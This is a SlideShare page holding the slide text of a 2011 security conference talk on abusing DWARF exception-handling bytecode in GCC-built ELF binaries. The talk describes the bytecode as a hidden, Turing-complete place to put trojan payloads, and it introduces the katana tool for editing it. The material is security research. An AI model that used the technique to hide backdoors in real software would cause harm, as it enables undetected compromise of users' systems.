Virtual Machine Constructions for Dummies
 
Smart Pointers in C++
Smart Pointers in C++Smart Pointers in C++
Smart Pointers in C++
 

Viewers also liked

LD_PRELOAD Exploitation - DC9723
LD_PRELOAD Exploitation - DC9723LD_PRELOAD Exploitation - DC9723
LD_PRELOAD Exploitation - DC9723
Iftach Ian Amit
 
Program Structure in GNU/Linux (ELF Format)
Program Structure in GNU/Linux (ELF Format)Program Structure in GNU/Linux (ELF Format)
Program Structure in GNU/Linux (ELF Format)
Varun Mahajan
 

Viewers also liked (20)

ELF 101
ELF 101ELF 101
ELF 101
 
Intro reverse engineering
Intro reverse engineeringIntro reverse engineering
Intro reverse engineering
 
Symbolic Debugging with DWARF
Symbolic Debugging with DWARFSymbolic Debugging with DWARF
Symbolic Debugging with DWARF
 
A hands-on introduction to the ELF Object file format
A hands-on introduction to the ELF Object file formatA hands-on introduction to the ELF Object file format
A hands-on introduction to the ELF Object file format
 
LD_PRELOAD Exploitation - DC9723
LD_PRELOAD Exploitation - DC9723LD_PRELOAD Exploitation - DC9723
LD_PRELOAD Exploitation - DC9723
 
DWARF Data Representation
DWARF Data RepresentationDWARF Data Representation
DWARF Data Representation
 
06 - ELF format, knowing your friend
06 - ELF format, knowing your friend06 - ELF format, knowing your friend
06 - ELF format, knowing your friend
 
FISL XIV - The ELF File Format and the Linux Loader
FISL XIV - The ELF File Format and the Linux LoaderFISL XIV - The ELF File Format and the Linux Loader
FISL XIV - The ELF File Format and the Linux Loader
 
Linker and loader upload
Linker and loader   uploadLinker and loader   upload
Linker and loader upload
 
Program Structure in GNU/Linux (ELF Format)
Program Structure in GNU/Linux (ELF Format)Program Structure in GNU/Linux (ELF Format)
Program Structure in GNU/Linux (ELF Format)
 
Something About Dynamic Linking
Something About Dynamic LinkingSomething About Dynamic Linking
Something About Dynamic Linking
 
Ch 4 linker loader
Ch 4 linker loaderCh 4 linker loader
Ch 4 linker loader
 
Compilation and Execution
Compilation and ExecutionCompilation and Execution
Compilation and Execution
 
Sp chap2
Sp chap2Sp chap2
Sp chap2
 
Embedded Systems: Lecture 14: Introduction to GNU Toolchain (Binary Utilities)
Embedded Systems: Lecture 14: Introduction to GNU Toolchain (Binary Utilities)Embedded Systems: Lecture 14: Introduction to GNU Toolchain (Binary Utilities)
Embedded Systems: Lecture 14: Introduction to GNU Toolchain (Binary Utilities)
 
Linkers in compiler
Linkers in compilerLinkers in compiler
Linkers in compiler
 
Linkers And Loaders
Linkers And LoadersLinkers And Loaders
Linkers And Loaders
 
Dynamic Linker
Dynamic LinkerDynamic Linker
Dynamic Linker
 
Linkers
LinkersLinkers
Linkers
 
Loaders
LoadersLoaders
Loaders
 

Similar to HES2011 - James Oakley and Sergey bratus-Exploiting-the-Hard-Working-DWARF

Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploits
hughpearse
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linux
Ajin Abraham
 
DotNet Introduction
DotNet IntroductionDotNet Introduction
DotNet Introduction
Wei Sun
 
Reversing & malware analysis training part 4 assembly programming basics
Reversing & malware analysis training part 4   assembly programming basics Reversing & malware analysis training part 4   assembly programming basics
Reversing & malware analysis training part 4 assembly programming basics
Abdulrahman Bassam
 
General Purpose Computing using Graphics Hardware
General Purpose Computing using Graphics HardwareGeneral Purpose Computing using Graphics Hardware
General Purpose Computing using Graphics Hardware
Daniel Blezek
 

Similar to HES2011 - James Oakley and Sergey bratus-Exploiting-the-Hard-Working-DWARF (20)

Low Level Exploits
Low Level ExploitsLow Level Exploits
Low Level Exploits
 
Specialized Compiler for Hash Cracking
Specialized Compiler for Hash CrackingSpecialized Compiler for Hash Cracking
Specialized Compiler for Hash Cracking
 
Exploitation Crash Course
Exploitation Crash CourseExploitation Crash Course
Exploitation Crash Course
 
A Life of breakpoint
A Life of breakpointA Life of breakpoint
A Life of breakpoint
 
0100_Embeded_C_CompilationProcess.pdf
0100_Embeded_C_CompilationProcess.pdf0100_Embeded_C_CompilationProcess.pdf
0100_Embeded_C_CompilationProcess.pdf
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linux
 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
 
C notes.pdf
C notes.pdfC notes.pdf
C notes.pdf
 
How it's made: C++ compilers (GCC)
How it's made: C++ compilers (GCC)How it's made: C++ compilers (GCC)
How it's made: C++ compilers (GCC)
 
DotNet Introduction
DotNet IntroductionDotNet Introduction
DotNet Introduction
 
Swug July 2010 - windows debugging by sainath
Swug July 2010 - windows debugging by sainathSwug July 2010 - windows debugging by sainath
Swug July 2010 - windows debugging by sainath
 
Reversing & Malware Analysis Training Part 4 - Assembly Programming Basics
Reversing & Malware Analysis Training Part 4 - Assembly Programming BasicsReversing & Malware Analysis Training Part 4 - Assembly Programming Basics
Reversing & Malware Analysis Training Part 4 - Assembly Programming Basics
 
7986-lect 7.pdf
7986-lect 7.pdf7986-lect 7.pdf
7986-lect 7.pdf
 
JNA - Let's C what it's worth
JNA - Let's C what it's worthJNA - Let's C what it's worth
JNA - Let's C what it's worth
 
Buffer overflow attack
Buffer overflow attackBuffer overflow attack
Buffer overflow attack
 
Reversing & malware analysis training part 4 assembly programming basics
Reversing & malware analysis training part 4   assembly programming basics Reversing & malware analysis training part 4   assembly programming basics
Reversing & malware analysis training part 4 assembly programming basics
 
Exploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP ChainsExploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
 
02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack02 - Introduction to the cdecl ABI and the x86 stack
02 - Introduction to the cdecl ABI and the x86 stack
 
General Purpose Computing using Graphics Hardware
General Purpose Computing using Graphics HardwareGeneral Purpose Computing using Graphics Hardware
General Purpose Computing using Graphics Hardware
 
C programming language tutorial
C programming language tutorial C programming language tutorial
C programming language tutorial
 

More from Hackito Ergo Sum

HES 2011 - Gal Diskin - Binary instrumentation for hackers - Lightning-talk
HES 2011 - Gal Diskin - Binary instrumentation for hackers - Lightning-talkHES 2011 - Gal Diskin - Binary instrumentation for hackers - Lightning-talk
HES 2011 - Gal Diskin - Binary instrumentation for hackers - Lightning-talk
Hackito Ergo Sum
 
HES2011 - Jon Oberheide and Dan Rosenberg - Stackjacking
HES2011 - Jon Oberheide and Dan Rosenberg - StackjackingHES2011 - Jon Oberheide and Dan Rosenberg - Stackjacking
HES2011 - Jon Oberheide and Dan Rosenberg - Stackjacking
Hackito Ergo Sum
 
HES2011 - Gabriel Gonzalez - Man In Remote PKCS11 for fun and non profit
HES2011 - Gabriel Gonzalez - Man In Remote PKCS11 for fun and non profitHES2011 - Gabriel Gonzalez - Man In Remote PKCS11 for fun and non profit
HES2011 - Gabriel Gonzalez - Man In Remote PKCS11 for fun and non profit
Hackito Ergo Sum
 
HES2011 - Sebastien Tricaud - Capture me if you can
HES2011 - Sebastien Tricaud - Capture me if you canHES2011 - Sebastien Tricaud - Capture me if you can
HES2011 - Sebastien Tricaud - Capture me if you can
Hackito Ergo Sum
 
HES2011 - Eloi Vanderbeken - Hackito Ergo Sum Crackme
HES2011 - Eloi Vanderbeken - Hackito Ergo Sum CrackmeHES2011 - Eloi Vanderbeken - Hackito Ergo Sum Crackme
HES2011 - Eloi Vanderbeken - Hackito Ergo Sum Crackme
Hackito Ergo Sum
 
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe ShockwaveHES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
Hackito Ergo Sum
 
HES2011 - Jon Larimer - Autorun Vulnerabilities on Linux
HES2011 - Jon Larimer - Autorun Vulnerabilities on LinuxHES2011 - Jon Larimer - Autorun Vulnerabilities on Linux
HES2011 - Jon Larimer - Autorun Vulnerabilities on Linux
Hackito Ergo Sum
 
HES2011 - joernchen - Ruby on Rails from a Code Auditor Perspective
HES2011 - joernchen - Ruby on Rails from a Code Auditor PerspectiveHES2011 - joernchen - Ruby on Rails from a Code Auditor Perspective
HES2011 - joernchen - Ruby on Rails from a Code Auditor Perspective
Hackito Ergo Sum
 
HES2011 - Raould Chiesa - Hackers Cybercriminals from Wargames to the Undergr...
HES2011 - Raould Chiesa - Hackers Cybercriminals from Wargames to the Undergr...HES2011 - Raould Chiesa - Hackers Cybercriminals from Wargames to the Undergr...
HES2011 - Raould Chiesa - Hackers Cybercriminals from Wargames to the Undergr...
Hackito Ergo Sum
 
HES2011 - Richard Johnson - A Castle Made of Sand Adobe Reader X Sandbox
HES2011 - Richard Johnson - A Castle Made of Sand Adobe Reader X SandboxHES2011 - Richard Johnson - A Castle Made of Sand Adobe Reader X Sandbox
HES2011 - Richard Johnson - A Castle Made of Sand Adobe Reader X Sandbox
Hackito Ergo Sum
 
HES2011 - Tarjei Mandt – Kernel Pool Exploitation on Windows 7
HES2011 - Tarjei Mandt – Kernel Pool Exploitation on Windows 7HES2011 - Tarjei Mandt – Kernel Pool Exploitation on Windows 7
HES2011 - Tarjei Mandt – Kernel Pool Exploitation on Windows 7
Hackito Ergo Sum
 
HES2011 - Yuval Vadim Polevoy – Money Is In The Eye Of The Beholder: New And ...
HES2011 - Yuval Vadim Polevoy – Money Is In The Eye Of The Beholder: New And ...HES2011 - Yuval Vadim Polevoy – Money Is In The Eye Of The Beholder: New And ...
HES2011 - Yuval Vadim Polevoy – Money Is In The Eye Of The Beholder: New And ...
Hackito Ergo Sum
 
HES2011 - Itzik Kolter - Let me Stuxnet You
HES2011 - Itzik Kolter - Let me Stuxnet YouHES2011 - Itzik Kolter - Let me Stuxnet You
HES2011 - Itzik Kolter - Let me Stuxnet You
Hackito Ergo Sum
 

More from Hackito Ergo Sum (13)

HES 2011 - Gal Diskin - Binary instrumentation for hackers - Lightning-talk
HES 2011 - Gal Diskin - Binary instrumentation for hackers - Lightning-talkHES 2011 - Gal Diskin - Binary instrumentation for hackers - Lightning-talk
HES 2011 - Gal Diskin - Binary instrumentation for hackers - Lightning-talk
 
HES2011 - Jon Oberheide and Dan Rosenberg - Stackjacking
HES2011 - Jon Oberheide and Dan Rosenberg - StackjackingHES2011 - Jon Oberheide and Dan Rosenberg - Stackjacking
HES2011 - Jon Oberheide and Dan Rosenberg - Stackjacking
 
HES2011 - Gabriel Gonzalez - Man In Remote PKCS11 for fun and non profit
HES2011 - Gabriel Gonzalez - Man In Remote PKCS11 for fun and non profitHES2011 - Gabriel Gonzalez - Man In Remote PKCS11 for fun and non profit
HES2011 - Gabriel Gonzalez - Man In Remote PKCS11 for fun and non profit
 
HES2011 - Sebastien Tricaud - Capture me if you can
HES2011 - Sebastien Tricaud - Capture me if you canHES2011 - Sebastien Tricaud - Capture me if you can
HES2011 - Sebastien Tricaud - Capture me if you can
 
HES2011 - Eloi Vanderbeken - Hackito Ergo Sum Crackme
HES2011 - Eloi Vanderbeken - Hackito Ergo Sum CrackmeHES2011 - Eloi Vanderbeken - Hackito Ergo Sum Crackme
HES2011 - Eloi Vanderbeken - Hackito Ergo Sum Crackme
 
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe ShockwaveHES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
HES2011 - Aaron Portnoy and Logan Brown - Black Box Auditing Adobe Shockwave
 
HES2011 - Jon Larimer - Autorun Vulnerabilities on Linux
HES2011 - Jon Larimer - Autorun Vulnerabilities on LinuxHES2011 - Jon Larimer - Autorun Vulnerabilities on Linux
HES2011 - Jon Larimer - Autorun Vulnerabilities on Linux
 
HES2011 - joernchen - Ruby on Rails from a Code Auditor Perspective
HES2011 - joernchen - Ruby on Rails from a Code Auditor PerspectiveHES2011 - joernchen - Ruby on Rails from a Code Auditor Perspective
HES2011 - joernchen - Ruby on Rails from a Code Auditor Perspective
 
HES2011 - Raould Chiesa - Hackers Cybercriminals from Wargames to the Undergr...
HES2011 - Raould Chiesa - Hackers Cybercriminals from Wargames to the Undergr...HES2011 - Raould Chiesa - Hackers Cybercriminals from Wargames to the Undergr...
HES2011 - Raould Chiesa - Hackers Cybercriminals from Wargames to the Undergr...
 
HES2011 - Richard Johnson - A Castle Made of Sand Adobe Reader X Sandbox
HES2011 - Richard Johnson - A Castle Made of Sand Adobe Reader X SandboxHES2011 - Richard Johnson - A Castle Made of Sand Adobe Reader X Sandbox
HES2011 - Richard Johnson - A Castle Made of Sand Adobe Reader X Sandbox
 
HES2011 - Tarjei Mandt – Kernel Pool Exploitation on Windows 7
HES2011 - Tarjei Mandt – Kernel Pool Exploitation on Windows 7HES2011 - Tarjei Mandt – Kernel Pool Exploitation on Windows 7
HES2011 - Tarjei Mandt – Kernel Pool Exploitation on Windows 7
 
HES2011 - Yuval Vadim Polevoy – Money Is In The Eye Of The Beholder: New And ...
HES2011 - Yuval Vadim Polevoy – Money Is In The Eye Of The Beholder: New And ...HES2011 - Yuval Vadim Polevoy – Money Is In The Eye Of The Beholder: New And ...
HES2011 - Yuval Vadim Polevoy – Money Is In The Eye Of The Beholder: New And ...
 
HES2011 - Itzik Kolter - Let me Stuxnet You
HES2011 - Itzik Kolter - Let me Stuxnet YouHES2011 - Itzik Kolter - Let me Stuxnet You
HES2011 - Itzik Kolter - Let me Stuxnet You
 

Recently uploaded

EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
Earley Information Science
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
giselly40
 

Recently uploaded (20)

The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdf
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 

HES2011 - James Oakley and Sergey bratus-Exploiting-the-Hard-Working-DWARF

  • 1. Exploiting the Hard-Working DWARF Hackito Ergo Sum 2011 James Oakley & Sergey Bratus Dartmouth College Trust Lab April 8, 2011
  • 2. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 3. Executive Summary All GCC-compiled binaries that support exception handling include DWARF bytecode describes stack frame layout interpreted to unwind the stack after exception occurs Process image will include the interpreter of DWARF bytecode (part of the standard GNU C++ runtime) Bytecode can be written to have the interpreter perform almost any computation (“Turing-complete”), including any one library/system call. N.B. This is not about debugging: will work with stripped executables.
  • 4. DWARF Abilities This allows slipping any trojan payload into ELF executables without native binary code. As far as we know, not detected by antivirus software (some more extensive testing needed).
  • 5. DWARF power! DWARF bytecode is a complete programming environment that can read arbitrary process memory can perform arbitrary computations with values in registers and in memory is meant to influence the flow of the program knows where the gold is
  • 6. Dastardly plan Dwarves make a great workforce Use dwarves to take over the world! Profit! Prior art: Norse epic: the end of the world [1] Alberich & the Ring of the Nibelung [2] Sauron & the Rings of Power [3] References: (1) Snorri Sturluson, ”The Elder Edda”, XIII A.D. (2) R. Wagner, ”Das Rheingold”, 1869 (3) J.R.R. Tolkien, ”The Lord of the Rings”, 1954-1955
  • 7. ELF and DWARF This is the story of ELF (Executable and Linking Format) and DWARF (Debugging With Attributed Records Format)
  • 8. ELF Layout ELF Header Program Headers .init .plt .text On Linux (and BSD, Mac OS X, .fini .eh_frame_hdr and possibly some Solaris) an .eh_frame executable binary file looks like .gcc_except_table this on disk .dynamic We are going to look at the .got highlighted sections. .data .symtab .strtab Section Headers
  • 9. That’s What It Looks Like james@electron]$ readelf --hex-dump=.eh_frame demo Hex dump of section '.eh_frame': 0x00400db8 14000000 00000000 017a5200 01781001 .........zR..x.. 0x00400dc8 1b0c0708 90010000 1c000000 1c000000 ................ 0x00400dd8 dcfcffff 39000000 00410e10 4386020d ....9....A..C... 0x00400de8 06558303 5f0c0708 1c000000 3c000000 .U.._.......<... 0x00400df8 f5fcffff 5c000000 00410e10 4386020d ...._ ...A..C... 0x00400e08 0602570c 07080000 1c000000 00000000 ..W............. 0x00400e18 017a504c 52000178 100703a8 09400003 .zPLR..x.....@.. 0x00400e28 1b0c0708 90010000 24000000 24000000 ........$...$... 0x00400e38 11fdffff 74000000 04fc0e40 00410e10 ....t......@.A.. 0x00400e48 4386020d 06458303 026a0c07 08000000 C....E...j...... .....
  • 10. ELF Runtime (with Dwarves) Stack libc libgcc libstdc++ .plt, .text, etc .eh_frame_hdr, eh_frame .gcc_except_table .data, etc
  • 11. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 12. DEMO! See some dwarves in action.
  • 13. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 15. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 16. Why You Should Be Interested An unexplored computational model in every C++ program (or program that links to a C++ library. Or anything that uses the gcc exception mechanism). ∴ potentially huge attack surface. As fresh vector it may pass unnoticed for a time. Plays entirely within “the rules”. Hard to protect against. At the very least, this is a fresh code-hiding vector. It is hard to detect. Exploiting an unexpectedly powerful computation model in a place nobody expects it.
  • 17. What This Is and What It Is Not Is a new Turing-complete computational model most programmers don’t fully understand lurking in every C++ program. Is a demonstrated trojan backdoor inserted in an area usually ignored. Is a released binary extraction and manipulation tool. Not a one-stop memory corruption . . . yet. Not SEH overwriting UNIX exceptions work differently.
  • 18. The Fuzzy Feeling Exceptions on the fuzzy edge of what a system is “supposed” to do. The logic path that throws an exception shouldn’t be executed most of the time. Such areas often contain untested paths and unintended behaviours. (Almost) nobody touches DWARF.
  • 19. The History of DWARF Designed as a debugging information format to replace STABS. Standardized at http://dwarfstd.org. Source line information, variable types, stack backtraces, etc. ELF sections .debug info, .debug line, .debug frame and more are all covered by the DWARF standard. .debug frame describes how to unwind the stack. How to restore each register in the previous call frame.
  • 20. That Ax Hacks Exception Handling gcc, the Linux Standards Base, and the x86 64 ABI have adopted a format very similar to .debug frame for describing how to unwind the stack during exception handling. This is .eh frame. Not identical to DWARF specification Adds pointer encoding and defines certain language-specific data (allowed for by DWARF) See standards for more information. Some formats discussed are standardized under the Linux Standards Base Some under the x86 64 ABI. Some are at the whim of gcc maintainers.
  • 21. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 22. Structure of .eh frame Conceptually, represents a table which for every address in program text describes how to set registers to restore the previous call frame. program counter (eip) CFA ebp ebx eax return address 0xf000f000 rsp+16 *(cfa-16) *(cfa-8) 0xf000f001 rsp+16 *(cfa-16) *(cfa-8) 0xf000f002 rbp+16 *(cfa-16) eax=edi *(cfa-8) . . . . . . . . . . . . . . . . . . 0xf000f00a rbp+16 *(cfa-16) *(cfa-24) eax=edi *(cfa-8) Canonical Frame Address (CFA). Address other addresses within the call frame can be relative to. Each row shows how the given text location can “return” to the previous frame.
  • 23. Structure of .eh frame This table would be humongous Larger than the whole program! Blank columns Duplication Instead, the DWARF/eh frame is essentially data compression: bytecode to generate needed parts of the table. Bytecode is everything required to build the table, compute memory locations, and more. Portions of the table are built only as needed.
  • 24. CIE and FDE Structure inside eh frame length CIE_id version augmentation (string) address_size CIE segment_size Shared information FDEs is stored code_alignment_factor in Common Information Entity data_alignment_factor return_address_register (CIE). initial_instructions A Frame Description Entity (FDE) padding for each logical instruction block. The instructions in the FDE length CIE_pointer contain DWARF bytecode. initial_location FDE address_range LSDA pointer instructions padding
  • 25. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 26. DWARF - The Other Assembly DWARF Expressions function essentially like an embedded assembly language — in a place where few expect it. Turing-complete stack-based machine. Computation works like an RPN calculator. Can dereference memory and access values in machine registers. There are limitations: No side effects (i.e. no writing to registers or memory) Current gcc (4.5.2) limits the computation stack to 64 words.
  • 27. DWARF Instructions Sample DW CFA set loc N Following instructions only apply to instructions N bytes from the start of the procedure. DW CFA def cfa R OFF The CFA is calculated from the given register R and offset OFF DW CFA offset R OFF Register R is restored to the value stored at OFF from the CFA. DW CFA register R1 R2 Register R1 is restored to the contents of register R2.
  • 28. DWARF Instructions Remember the virtual table. Every register assigned a DWARF register number. Register number mappings are architecture-specific. DWARF instruction defines rule for a column of or advances the row (text location) Within an FDE, rows inherit from rows for instructions above them. program counter (eip) CFA ebp ebx eax return address 0xf000f000 rsp+16 *(cfa-16) *(cfa-8) 0xf000f001 rsp+16 *(cfa-16) *(cfa-8) 0xf000f002 rbp+16 *(cfa-16) eax=edi *(cfa-8) . . . . . . . . . . . . . . . . . . 0xf000f00a rbp+16 *(cfa-16) *(cfa-24) eax=edi *(cfa-8)
  • 29. DWARF Expressions DWARF designers could not anticipate all unwinding mechanisms any system might use. Therefore, they built in flexibility. . . DW CFA expression R EXPRESSION R restored to value stored at result of EXPRESSION. DW CFA val expression R EXPRESSION R restored to result of EXPRESSION Expressions have their own set of instructions, including Constant values: DW OP constu, DW OP const8s, etc. Arithmetic: DW OP plus, DW OP mul, DW OP and, DW OP xor, etc. Memory dereference: DW OP deref Register contents: DW OP bregx Control flow: DW OP le, DW OP skip, DW OP bra, etc
  • 30. CIE and FDE Structure Important Data Members length initial location and address range: CIE_id Together determine instructions version this FDE applies to. augmentation (string) address_size augmentation: Specifies CIE segment_size code_alignment_factor platform/language specific data_alignment_factor additions to the CIE/FDE return_address_register information. initial_instructions padding return address register: Number of a column in the virtual table which length will hold the text location to return CIE_pointer to (i.e. set eip to). initial_location FDE address_range instructions: Here is where the LSDA pointer table rules are encoded. DWARF instructions padding has its own embedded language to describe the virtual table . . . .
  • 31. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 32. Understanding? DWARF information in .eh frame does not live in some nice text format. What part of Hex dump of section '.eh_frame': 0x00400db8 14000000 00000000 017a5200 01781001 .........zR..x.. 0x00400dc8 1b0c0708 90010000 1c000000 1c000000 ................ 0x00400dd8 dcfcffff 39000000 00410e10 4386020d ....9....A..C... 0x00400de8 06558303 5f0c0708 1c000000 3c000000 .U.._.......<... 0x00400df8 f5fcffff 5c000000 00410e10 4386020d ........A..C... 0x00400e08 0602570c 07080000 1c000000 00000000 ..W............. 0x00400e18 017a504c 52000178 100703a8 09400003 .zPLR..x.....@.. 0x00400e28 1b0c0708 90010000 24000000 24000000 ........$...$... 0x00400e38 11fdffff 74000000 04fc0e40 00410e10 ....t......@.A.. 0x00400e48 4386020d 06458303 026a0c07 08000000 C....E...j...... ..... don’t you understand?
  • 33. With Existing Tools [james@neutrino exec]$readelf --debug-dump=frames exec Contents of the .eh_frame section: 00000000 00000014 00000000 CIE Version: 1 Augmentation: "zR" Code alignment factor: 1 Data alignment factor: -8 Return address column: 16 Augmentation data: 1b DW_CFA_def_cfa: r7 (rsp) ofs 8 DW_CFA_offset: r16 (rip) at cfa-8 DW_CFA_nop DW_CFA_nop 00000018 0000001c 0000001c FDE cie=00000000 pc=00400ab4..00400aed DW_CFA_advance_loc: 1 to 00400ab5 DW_CFA_def_cfa_offset: 16 DW_CFA_advance_loc: 3 to 00400ab8 DW_CFA_offset: r6 (rbp) at cfa-16 DW_CFA_def_cfa_register: r6 (rbp) DW_CFA_advance_loc: 21 to 00400acd DW_CFA_offset: r3 (rbx) at cfa-24 DW_CFA_advance_loc: 31 to 00400aec (or objdump or dwarfdump) But this doesn’t let us modify anything.
  • 34. Introducing Katana and Dwarfscript katana is an ELF-modification shell/tool we developed. http://katana.nongnu.org ELF manipulation inspired by elfsh from the ERESI project. Dwarfscript is an assembly language that katana can emit . . . [james@neutrino example1]$katana > $e=load "demo" Loaded ELF "demo" > dwarfscript emit ".eh_frame" $e "demo.dws" Wrote dwarfscript to demo.dws
